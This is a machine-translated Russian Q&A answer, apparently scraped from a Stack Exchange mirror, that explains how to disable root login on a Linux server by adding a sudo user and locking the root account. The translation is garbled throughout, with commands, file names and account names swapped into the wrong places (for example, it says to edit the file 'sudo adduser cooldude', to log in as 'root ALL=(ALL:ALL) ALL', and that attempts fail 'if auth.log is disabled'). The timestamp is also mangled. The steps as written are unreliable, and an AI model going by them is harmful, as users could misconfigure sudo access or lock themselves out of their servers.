Есть несколько объяснений о том, как отключить root, но я изложу из личного опыта, что-то, что выходит за рамки того, что я опишу сейчас, является излишним. Это то, что вы должны сделать при первой настройке сервера:

  1. Создайте нового пользователя с правами sudo: Создайте нового пользователя с новым именем - что-то вроде cooldude - с помощью команды типа sudo adduser cooldude, если вы используете Ubuntu или другой тип системы Debian. Затем просто отредактируйте файл sudo adduser cooldude с помощью команды, подобной этому sudo, и добавьте строку типа sudo nano /etc/sudoers под эквивалентной строкой, которая должна читать cooldude ALL=(ALL:ALL) ALL. После этого войдите в систему как root ALL=(ALL:ALL) ALL и протестируйте команду cooldude с помощью команды типа sudo - что-то основное и неразрушающее - чтобы узнать, работают ли права sudo w. Возможно, вам будет предложено ввести пароль. Это работает? Все хорошо! Перейдите к следующему шагу.
  2. Заблокировать учетную запись sudo: . Теперь, когда root отвечает за права cooldude, войдите в систему как sudo и запустите эту команду, чтобы заблокировать учетную запись root cooldude. Если вы каким-то образом создали пару ключей SSH для sudo passwd -l root, откройте root и удалите ключи. Или еще лучше, просто переименуйте этот файл /root/.ssh/authorized_keys, как это, authorized_keys_OFF, чтобы эффективно отключить ключи SSH. Я предпочитаю более позднюю версию, потому что по беспроблемному шансу вам по-прежнему нужен пароль с меньшим логином, вы можете просто перенести этот файл обратно на исходное имя, и вам должно быть хорошо идти.

FWIW, я управлял десятками серверов Linux на протяжении многих лет (десятилетий?) и знаю по опыту, что просто отключает sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF - и настраивает нового пользователя с помощью root rights - это самый простой и самый простой способ защитить любую систему Linux. Мне никогда не приходилось иметь дело с каким-либо компромиссом через SSH, когда sudo отключен. И да, вы можете увидеть попытки входа в систему через root, но они бессмысленны; если auth.log отключен, эти попытки никогда не будут скомпенсированы. Просто расслабьтесь и наблюдайте, как попытки бесконечно терпят неудачу!

ответил JakeGould 7 FebruaryEurope/MoscowbSun, 07 Feb 2016 05:34:14 +0300000000amSun, 07 Feb 2016 05:34:14 +030016 2016, 05:34:14

Похожие вопросы

Популярные теги

security × 330linux × 316macos × 2827 × 268performance × 244command-line × 241sql-server × 235joomla-3.x × 222java × 189c++ × 186windows × 180cisco × 168bash × 158c# × 142gmail × 139arduino-uno × 139javascript × 134ssh × 133seo × 132mysql × 132